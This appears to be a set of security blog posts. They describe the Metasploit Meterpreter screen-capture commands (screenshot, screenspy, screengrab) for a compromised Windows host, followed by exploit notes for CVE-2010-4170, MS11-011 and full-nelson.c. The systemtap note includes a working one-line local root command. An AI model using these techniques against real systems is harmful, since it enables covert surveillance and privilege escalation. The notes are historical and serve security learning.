Metasploit Meterpreter screenshot screenspy screengrab

Metasploit provide some commands to extend the usage of meterpreter. We will describe here under the usage of screenshot, screenspy and screengrab.

First of all you require a valid meterpreter session on a Windows box to use these extensions.

  • screenshot

This stdapi command allow you to create a screen shot from the current Windows interactive desktop.

screenshot command could be used with these arguments :

-h : to display the help banner.
-p : The JPEG image file path. By default $HOME/[randomname].jpeg
-q : The JPEG image quality. By default ’50’.
-v : Automatically view the JPEG image, by default ‘true’.

Metasploit Meterpreter screenshot
Metasploit Meterpreter screenshot
  • (bg)run screenspy

Same as the screenshot command, but taking at regular interval screen shot from the current Windows interactive desktop. Require Firefox to visualize the screen shots. A HTML page, containing the new screen shot, will be updated regularly, into Firefox, every x seconds.

screenspy command could be used with these arguments :

-h : to display the help banner.
-d : The delay in seconds between each screen shot. By default 3 seconds.
-t : The time, in second, for the screenspy execution. By default 10 seconds.
-s : The targeted system, linux or windows. By default linux.

Metasploit Meterpreter screenspy
Metasploit Meterpreter screenspy
  • screengrab

This espia command attempt to grab a screen shot from the current Windows interactive desktop.

screengrab command coulb be used with these arguments :

-h : to display the help banner.

Metasploit Meterpreter screengrab
Metasploit Meterpreter screengrab
Metasploit Meterpreter screengrab usage
Metasploit Meterpreter screengrab usage

CVE-2010-4170 : systemtap Local Root Privilege Escalation Vulnerability

Timeline :

Vulnerability reported to vendors, by Tavis Ormandy, the 2010-11-15
Vulnerability corrected by vendors around the 2010-11-17

PoC provided by :

Tavis Ormandy

Reference(s) :

CVE-2010-4170

Affected version(s) :

Red Hat, Fedora, Debian, Ubuntu, etc.

Tested on Debian squeeze/sid with :

systemtap-runtime_1.0-2_i386.deb

Description :

It was discovered that staprun did not properly sanitize the environment before executing the modprobe command to load an additional kernel module. A local, unprivileged user could use this flaw to escalate their privileges.

Commands :

Require “systemtap-runtime” on Debian

id
printf “install uprobes /bin/sh” exploit.conf; MODPROBE_OPTIONS=”-C exploit.conf” staprun -u whatever
id

MS11-011 : Windows UAC Bypass 0day

Timeline :

Vulnerability released by noobpwnftw the 2010-11-24

PoC provided by :

noobpwnftw

Reference(s) :

CVE-2010-4398
EBD-ID-15609
MS11-011

Affected version(s) :

Windows XP SP3
Windows XP Professional x64 SP2
Windows Server 2003 SP2
Windows Server 2003 x64 SP2
Windows Vista SP1 and Windows Vista SP2
Windows Vista x64 SP1 and Windows Vista x64 SP2
Windows Server 2008 32 and Windows Server 2008 32 SP2
Windows Server 2008 x64 and Windows Server 2008 x64 SP2
Windows 7 32
Windows 7 x64
Windows Server 2008 R2 x64

Tested on Windows 7 Integral

Description :

Microsoft Windows does not adequately validate registry data read using the function RtlQueryRegistryValues(). By modifying an EUDC registry key value, a local user could execute arbitrary code with SYSTEM privileges.

Commands :

whoami
poc.exe
whoami

full-nelson.c Linux Kernel local privilege escalation

Timeline :

CVE-2010-3849 reported by Nelson Elhagethe the 2010-10-18
CVE-2010-3850 reported by Nelson Elhagethe the 2010-10-18
CVE-2010-4258 reported by Nelson Elhagethe the 2010-12-02

PoC provided by :

Dan Rosenberg
Nelson Elhage

Reference(s) :

CVE-2010-3849
CVE-2010-3850
CVE-2010-4258

Affected version(s) :

All Linux Kernel versions previous to the 2.6.37 version

Tested on Ubuntu 10.10 server

Description :

This exploit leverages three vulnerabilities to get root, all of which were discovered by Nelson Elhage.

Commands :

uname -a
uid
gcc full-nelson.c -o full-nelson
./full-neslon
uid